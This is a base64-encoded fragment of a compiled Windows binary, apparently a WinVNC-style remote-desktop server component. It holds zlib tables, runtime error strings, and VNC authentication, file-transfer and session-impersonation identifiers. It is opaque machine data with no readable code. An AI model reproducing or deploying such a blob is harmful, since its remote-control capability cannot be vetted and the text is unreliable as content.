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yAABzdHJlYW0gZXJyb3IAAAAAZGF0YSBlcnJvcgAAaW5zdWZmaWNpZW50IG1lbW9yeQBidWZmZXIgZXJyb3IAAAAAaW5jb21wYXRpYmxlIHZlcnNpb24AAAAANFkEEPCJARBXaW5TdGF0aW9uQ29ubmVjdFcAAHdpbnN0YS5kbGwAAFdUU0dldEFjdGl2ZUNvbnNvbGVTZXNzaW9uSWQAAAAAa2VybmVsMzIuZGxsAAAAAFByb2Nlc3NJZFRvU2Vzc2lvbklkAAAAAExvY2tXb3JrU3RhdGlvbgAAAAAARElTUExBWQBFbnVtRGlzcGxheURldmljZXNBAFVzZXIzMi5ETEwAAAAAAABTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcSGFyZHdhcmUgUHJvZmlsZXNcQ3VycmVudFxTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXMAAAAAREVWSUNFMABTY3JlZW4uRm9yY2VkQnBwAAAAAFBvaW50ZXIuRW5hYmxlZABDYXAuRGZiQmFja2luZ01vZGUAAE9yZGVyLkJsdENvcHlCaXRzLkVuYWJsZWQAAABBdHRhY2guVG9EZXNrdG9wAAAAAENoYW5nZURpc3BsYXlTZXR0aW5nc0V4QQAAAAB8WQQQUL8BEADCARDQ1AEQUNYBEFDYARBg2QEQ8NkBEFC9ARAg1wEQMNkBELDDARDg1AEQwL4BENC+ARBAvAEQ8MEBEIBXAhDQwQEQMLIBEDC/ARBAvwEQIL8BEMRZBBDwuQEQ4NoBEMBZAhBAwAEQIMEBEIDAARAQvwEQ0MMBEKDPARAQwwEQIMIBECC6ARBgugEQMMMBEADIARBSRkIgJTAzZC4lMDNkCgAAVk5DQVVUSF8AAAAAQXV0aGVudGljYXRpb24gZmFpbGVkAAAARlRTX0xTRFQAAAAARlRTX0RORFQAAAAARlRTX1VQQ04AAAAARlRTX0RORkwAAAAARlRDX0xTUlEAAAAARlRDX0ROUlEAAAAARlRDX1VQUlEAAAAARlRDX1VQRFQAAAAARlRDX0ROQ04AAAAARlRDX1VQRkwAAAAAQ09QWVJFQ1QAAAAAUlJFX19fX18AAAAAQ09SUkVfX18AAAAASEVYVElMRV8AAAAAWkxJQl9fX18AAAAAWkxJQkhFWF8AAAAAVElHSFRfX18AAAAAQ09NUFJMVkwAAAAASlBFR1FMVkwAAAAAWDExQ1VSU1IAAAAAUkNIQ1VSU1IAAAAAUE9JTlRQT1MAAAAATEFTVFJFQ1QAAAAATkVXRkJTSVoAAAAAAAAAAFwqAAAuAAAALi4AAENhbm5vdCBpbXBlcnNvbmF0ZSBsb2dnZWQgb24gdXNlcgAAAFBhdGggbGVuZ3RoIGV4Y2VlZHMgMjU1IGJ5dGVzAAAAQ2Fubm90IG9wZW4gZmlsZSwgcGVyaGFwcyBpdCBpcyBhYnNlbnQgb3IgaXMgYSBkaXJlY3RvcnkAAAAAUGF0aCBsZW5ndGggZXhjZWVkcyBNQVhfUEFUSCB2YWx1ZQAAQ291bGQgbm90IGNyZWF0ZSBmaWxlAAAAU2VydmVyIGRvZXMgbm90IHN1cHBvcnQgZGF0YSBjb21wcmVzc2lvbiBvbiB1cGxvYWQAAEVycm9yIHdyaXRpbmcgZmlsZSBkYXRhADx1bmtub3duPgAAAFt1bmtub3duXQAAAAAAAABXaW5WTkMgZGVza3RvcCBzaW5rAAAAAAAAAAAAEAAAAAgAAAAYAAAABAAAABQAAAAMAAAAHAAAAAoAAAAaAAAAEgAAAAIAAAAWAAAABgAAAB4AAAAOAAAAAQAAABEAAAAJAAAAGQAAAAcAAAAXAAAADwAAAB8AAAATAAAAAwAAABsAAAALAAAAHQAAAA0AAAAFAAAAFQAAAFZOQ0hvb2tzLkNvcHlSZWN0LldpbmRvd1BvcwBcWgQQYPoBEDStAhA0rQIQACoCECAqAhBAKgIQpFoEEGD6ARBQLAIQICsCEAAqAhAgKgIQQCoCEGdlbmVyaWMAdW5rbm93biBlcnJvcgAAAPBaBBBg+gEQYCwCEJArAhAAKgIQICoCEEAqAhBpb3N0cmVhbQAAAABpb3N0cmVhbSBzdHJlYW0gZXJyb3IAAABAWwQQYPoBEHAsAhDgKwIQwCkCECAqAhBAKgIQc3lzdGVtAABXaW5WTkMuVXBkYXRlLkRyYXdSZWN0AABXaW5WTkMuVXBkYXRlLkNvcHlSZWN0AABXaW5WTkMuVXBkYXRlLk1vdXNlAFdpblZOQy5Mb2NhbC5LZXlib2FyZAAAAFdpblZOQy5Mb2NhbC5Nb3VzZQAAEFoEEJD6ARBgmwAQgCwCECARAhDgGgIQV2luZG93c1NjcmVlblNhdmVyQ2xhc3MAU2NyZWVuLXNhdmVyAAAAAFdpblZOQwAAdHR5AENvbnNvbGVXaW5kb3dDbGFzcwAAc3RyaW5nIHRvbyBsb25nAGludmFsaWQgc3RyaW5nIHBvc2l0aW9uAFdpblZOQ19XaW4zMl9JbnN0YW5jZV9NdXRleABtYXAvc2V0PFQ+IHRvbyBsb25nAGxpc3Q8VD4gdG9vIGxvbmcAAAAA2FsEEMBZAhCQWwQQkFQCENBTAhBQTAIQsE8CEGBaAhAATwIQUGsCEOBZAhAwdAIQAFsCELB0AhAAXwIQ0FYCECBTAhDwUQIQ8FYCELBfAhDQTQIQYF4CEIBUAhCAVQIQIGgCEOBUAhCQYQIQ0GoCEABuAhCQbgIQ8FMCEABtAhCAawIQgG0CEBBdAhAgXQIQsFwCEMBcAhDQXAIQ4FwCEDBVAhBAVQIQYFUCEHBVAhCQVQIQoFUCEJBcAhCgXAIQ8FwCEABdAhAQbAIQMGYCEJBnAhDwwQEQgFcCENBiAhDgUQIQAGcCEJBXAhAwZwIQsFcCEGBwAhCQcAIQIG8CEFBvAhDAVQIQoF8CEKBUAhDgWwIQUGMCEOBTAhAwaQIQwGoCELBkAhAQXAIQcGMCEHBXAhCAUgIQAFMCEABYAhCQYgIQoE8CECBjAhCgVgIQMGMCELBWAhAQYgIQME8CELBxAhCATgIQEEsCELBdAhAAaAIQkF0CEBBoAhCgXQIQ4GcCEHBdAhDwZwIQgF0CEJBjAhAQWQIQIFkCEKBkAhAAXAIQkGQCEPBbAhDAYgIQ0FECENBVAhCAYQIQQGMCEMBWAhCwVQIQ4FUCEEB1AhBQdQIQ8GQCEOBXAhAgaQIQAFkCEOBYAhAAaQIQkFYCEIBWAhAAYgIQ8GECEGBdAhBQXQIQcGYCEPBVAhAwWQIQgGwCEIBbAhCQWwIQEGQCENBZAhBwZQIQgFwCENBUAhBgYwIQ0FcCEGBnAhBAXQIQMF0CEBBTAhAwdQIQbG9jYWxob3N0AAAATW9uaXRvckZyb21Qb2ludAAAAABHZXRNb25pdG9ySW5mb0EARGVmYXVsdABXaW5sb2dvbgAAAABTQVMgd2luZG93AABTQVMgd2luZG93IGNsYXNzAAAAACBcBBAwewIQaFwEEAB7AhBgmwAQwFkCEAB8AhC0XAQQMH0CEDx1bmF2YWlsYWJsZT4AAAAwXQQQz4MCEOvSAhBiYWQgYWxsb2NhdGlvbgAAfF0EEPSDAhDr0gIQyF0EEPSDAhDr0gIQGF4EEPSDAhDr0gIQYWRkcmVzcyBub3QgYXZhaWxhYmxlAAAAYWxyZWFkeSBjb25uZWN0ZWQAAABhcmd1bWVudCBsaXN0IHRvbyBsb25nAABhcmd1bWVudCBvdXQgb2YgZG9tYWluAABiYWQgYWRkcmVzcwBiYWQgZmlsZSBkZXNjcmlwdG9yAGJhZCBtZXNzYWdlAGJyb2tlbiBwaXBlAGNvbm5lY3Rpb24gYWJvcnRlZAAAY29ubmVjdGlvbiBhbHJlYWR5IGluIHByb2dyZXNzAABjb25uZWN0aW9uIHJlZnVzZWQAAGNvbm5lY3Rpb24gcmVzZXQAAAAAZGVzdGluYXRpb24gYWRkcmVzcyByZXF1aXJlZAAAAABleGVjdXRhYmxlIGZvcm1hdCBlcnJvcgBmaWxlIHRvbyBsYXJnZQAAaG9zdCB1bnJlYWNoYWJsZQAAAABpZGVudGlmaWVyIHJlbW92ZWQAAGlsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAGluYXBwcm9wcmlhdGUgaW8gY29udHJvbCBvcGVyYXRpb24AAGludmFsaWQgc2VlawAAAABpcyBhIGRpcmVjdG9yeQAAbWVzc2FnZSBzaXplAAAAAG5ldHdvcmsgZG93bgAAAABuZXR3b3JrIHJlc2V0AAAAbmV0d29yayB1bnJlYWNoYWJsZQBubyBidWZmZXIgc3BhY2UAbm8gY2hpbGQgcHJvY2VzcwAAAABubyBsaW5rAG5vIG1lc3NhZ2UgYXZhaWxhYmxlAAAAAG5vIG1lc3NhZ2UAAG5vIHByb3RvY29sIG9wdGlvbgAAbm8gc3RyZWFtIHJlc291cmNlcwBubyBzdWNoIGRldmljZSBvciBhZGRyZXNzAAAAbm8gc3VjaCBwcm9jZXNzAG5vdCBhIGRpcmVjdG9yeQBub3QgYSBzb2NrZXQAAAAAbm90IGEgc3RyZWFtAAAAAG5vdCBjb25uZWN0ZWQAAABub3Qgc3VwcG9ydGVkAAAAb3BlcmF0aW9uIGluIHByb2dyZXNzAAAAb3BlcmF0aW9uIG5vdCBwZXJtaXR0ZWQAb3BlcmF0aW9uIG5vdCBzdXB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jayBhdmFpbGFibGUAAABub3QgZW5vdWdoIG1lbW9yeQAAAHJlc291cmNlIHVuYXZhaWxhYmxlIHRyeSBhZ2FpbgAAY3Jvc3MgZGV2aWNlIGxpbmsAAABvcGVyYXRpb24gY2FuY2VsZWQAAHRvbyBtYW55IGZpbGVzIG9wZW4AcGVybWlzc2lvbl9kZW5pZWQAAABhZGRyZXNzX2luX3VzZQAAYWRkcmVzc19ub3RfYXZhaWxhYmxlAAAAYWRkcmVzc19mYW1pbHlfbm90X3N1cHBvcnRlZAAAAABjb25uZWN0aW9uX2FscmVhZHlfaW5fcHJvZ3Jlc3MAAGJhZF9maWxlX2Rlc2NyaXB0b3IAY29ubmVjdGlvbl9hYm9ydGVkAABjb25uZWN0aW9uX3JlZnVzZWQAAGNvbm5lY3Rpb25fcmVzZXQAAAAAZGVzdGluYXRpb25fYWRkcmVzc19yZXF1aXJlZAAAAABiYWRfYWRkcmVzcwBob3N0X3VucmVhY2hhYmxlAAAAAG9wZXJhdGlvbl9pbl9wcm9ncmVzcwAAAGludGVycnVwdGVkAGludmFsaWRfYXJndW1lbnQAAAAAYWxyZWFkeV9jb25uZWN0ZWQAAAB0b29fbWFueV9maWxlc19vcGVuAG1lc3NhZ2Vfc2l6ZQAAAABmaWxlbmFtZV90b29fbG9uZwAAAG5ldHdvcmtfZG93bgAAAABuZXR3b3JrX3Jlc2V0AAAAbmV0d29ya191bnJlYWNoYWJsZQBub19idWZmZXJfc3BhY2UAbm9fcHJvdG9jb2xfb3B0aW9uAABub3RfY29ubmVjdGVkAAAAbm90X2Ffc29ja2V0AAAAAG9wZXJhdGlvbl9ub3Rfc3VwcG9ydGVkAHByb3RvY29sX25vdF9zdXBwb3J0ZWQAAHdyb25nX3Byb3RvY29sX3R5cGUAdGltZWRfb3V0AAAAb3BlcmF0aW9uX3dvdWxkX2Jsb2NrAAAAYWRkcmVzcyBmYW1pbHkgbm90IHN1cHBvcnRlZAAAAABhZGRyZXNzIGluIHVzZQAAAJgCEG0AcwBjAG8AcgBlAGUALgBkAGwAbAAAAENvckV4aXRQcm9jZXNzAABoXgQQsZ8CEFJvSW5pdGlhbGl6ZQAAAABjAG8AbQBiAGEAcwBlAC4AZABsAGwAAABSb1VuaW5pdGl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AYQBkACAAbABvAGMAawAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADgADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAaABlAGEAcAAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANwANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwB3AGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADgADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABoAGUAYQBwAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAABSADYAMAAzADEADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHQAaABlACAAQwBSAFQAIABtAG8AcgBlACAAdABoAGEAbgAgAG8AbgBjAGUALgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0A